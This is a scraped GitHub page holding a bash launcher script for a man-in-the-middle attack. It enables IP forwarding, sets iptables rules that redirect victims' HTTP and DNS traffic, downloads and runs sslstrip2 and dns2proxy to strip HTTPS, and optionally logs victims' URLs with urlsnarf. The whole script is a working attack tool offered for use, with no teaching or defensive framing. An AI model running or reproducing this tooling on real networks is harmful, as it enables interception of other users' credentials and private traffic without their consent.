-
Notifications
You must be signed in to change notification settings - Fork 0
/
.sslstrip
209 lines (185 loc) · 6.11 KB
/
.sslstrip
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
if [ "$#" = "0" ]
then
echo -e " \nUse parameters -T for text only run or -t for new window spawns\n "
exit
fi
if [ "$1" = "-t" ]
then
clear
fi
pkg=$(ls | grep sslstrip2)
pkg2=$(ls | grep dns2proxy)
echo -e "\n\033[36m----------------------------\033[31m\nTHIS REQUIRES ROOT\nIF RUNNING FOR THE FIRST TIME START\nBOTH DNS2PROXY AND SSLSTRIP2 THEN RESTART\033[0m\n"
#--------------------------------------------------------------------------------------------------------------------------------------------`
exitfi () {
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
exit
}
#---------------------------------------------------------------------------------------------------------------------------------------------
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
trap 'exitfi' INT
#--------------------------------------------------------------------------------------------------------------------------------------------
if [ "$pkg" = "" ]
then
git clone https://github.com/byt3bl33d3r/sslstrip2.git >/dev/null 2>&1 #./command >/dev/null 2>&1 &
echo -e "\033[36msslstrip2 not detected!\nDownloading and installing sslstrip2.\033[0m\n"
cd sslstrip2
sed -i 's/README/README.md/g' setup.py
python setup.py install > /dev/null 2>&1 &
echo -e "\n\033[36msslstrip2 is correctly installed!\nStart sslstrip2? (Y/N)"
read -s sslstripstart
if [ "$sslstripstart" = "y" ]
then
echo -ne "\nStarting sslstrip\r"
sleep 1
echo -ne "Starting sslstrip.\r"
sleep 1
echo -ne "Starting sslstrip..\r"
sleep 1
echo -ne "Starting sslstrip...\n"
fuser -k 9000/tcp
sleep 1
if [ "$1" = "-T" ]
then
sslstrip -l 9000 > /dev/null 2>&1 &
elif [ "$1" = "-t" ]
then
xterm -geometry 100x25+3000+3000 -e "sslstrip -l 9000" > /dev/null 2>&1 &
fi
else
echo -e "\n\033[1;36mExiting Script Early!!\033[0m"
sleep 1
exit
fi
else
echo -e "\033[36msslstrip2 is installed!\033[0m"
cd sslstrip2
i=$(cat setup.py | grep "README" | awk -F "'" {'print $4'})
if [ $i = "README" ]
then
sed -i 's/README/README.md/g' setup.py
python setup.py install > /dev/null 2>&1 &
elif [ $i = "README.md" ]
then
python setup.py install > /dev/null 2>&1 &
echo -e "\n\033[36msslstrip2 is correctly installed!\nStart sslstrip2? (Y/N)"
read -s sslstripstart
if [ "$sslstripstart" = "y" ]
then
#____________________________________________________________________________________________________________________________________--
echo -ne "\nStarting sslstrip\r"
sleep 1
echo -ne "Starting sslstrip.\r"
sleep 1
echo -ne "Starting sslstrip..\r"
sleep 1
echo -ne "Starting sslstrip...\n"
sleep 1
fuser -k 9000/tcp
if [ "$1" = "-T" ]
then
sslstrip -l 9000 > /dev/null 2>&1 &
elif [ "$1" = "-t" ]
then
xterm -geometry 100x25+3000+3000 -e "sslstrip -l 9000" > /dev/null 2>&1 &
fi
#_______________________________________________________________________________________________________________________________________
else
echo -e "\n\033[1;36mExiting Script Early!!\033[0m"
sleep 1
exit
fi
fi
fi
#-----------------------------------------------------------------------------------------------------------------------------------
if [ "$pkg2" = "" ]
then
cd ..
git clone https://github.com/LeonardoNve/dns2proxy.git > /dev/null 2>&1 &
echo -e "\n\033[31mdns2proxy is not detected!\nDownloading dns2proxy.\n"
echo -e "\n\033[31m\nStart dns2proxy? NOTE: REQUIRED FOR SSLSTRIP2 (Y/N)\033[0m"
read -s start
if [ "$start" = "y" ]
then
echo -ne "Starting Dns2Proxy\r"
sleep 1
echo -ne "Starting Dns2Proxy.\r"
sleep 1
echo -ne "Starting Dns2Proxy..\r"
sleep 1
echo -ne "Starting Dns2Proxy...\r\n"
sleep 1
cd dns2proxy
fuser -k 53/udp
if [ "$1" = "-T" ]
then
python dns2proxy.py >/dev/null 2>&1 &
elif [ "$1" = "-t" ]
then
xterm -geometry 100x27+3000+0 -e "python dns2proxy.py" > /dev/null 2>&1 &
fi
else
exit
fi
else
echo -e "\n\033[31mdns2proxy is installed!\nStart dns2proxy? NOTE: NEEDED FOR SSLSTRIP2 (Y/N)\n"
read -s start
if [ "$start" = "y" ]
then
#_________________________________________________________________________________________________________________________________
cd ..
cd dns2proxy
echo -ne "Starting Dns2Proxy\r"
sleep 1
echo -ne "Starting Dns2Proxy.\r"
sleep 1
echo -ne "Starting Dns2Proxy..\r"
sleep 1
echo -ne "Starting Dns2Proxy...\r\n"
sleep 1
fuser -k 53/udp
if [ "$1" = "-T" ]
then
python dns2proxy.py >/dev/null 2>&1 &
elif [ "$1" = "-t" ]
then
xterm -geometry 100x27+3000+0 -e "python dns2proxy.py" > /dev/null 2>&1 &
fi
#__________________________________________________________________________________________________________________________________
else
exit
fi
fi
echo -e "\n\033[36mStart urlsnarf? (Y/N) \033[0m"
read -s snarf
if [ "$snarf" = "y" ]
then
if [ "$1" = "-t" ]
then
xterm -hold -e "urlsnarf | tee -a urlsnarf.log" > /dev/null 2>&1 &
elif [ "$1" = "-T" ]
then
urlsnarf | tee -a urlsnarf.log 1> /dev/null 2>&1 &
fi
elif [ "$snarf" != "y" ]
then
echo -e "\n\033[31mNot using urlsnarf.\033[0m"
fi
echo -e '\n\033[31mUse Ctl-C to close script properly.\033[0m'
#--------------------------------------------------------------------------------------------------------------------------------------------
while :
do
sleep 1
done
#--------------------------------------------------------------------------------------------------------------------------------------------
#echo "1" > /proc/sys/net/ipv4/ip_forward
#iptables --flush
#iptables --flush -t nat
#iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 9000
#iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53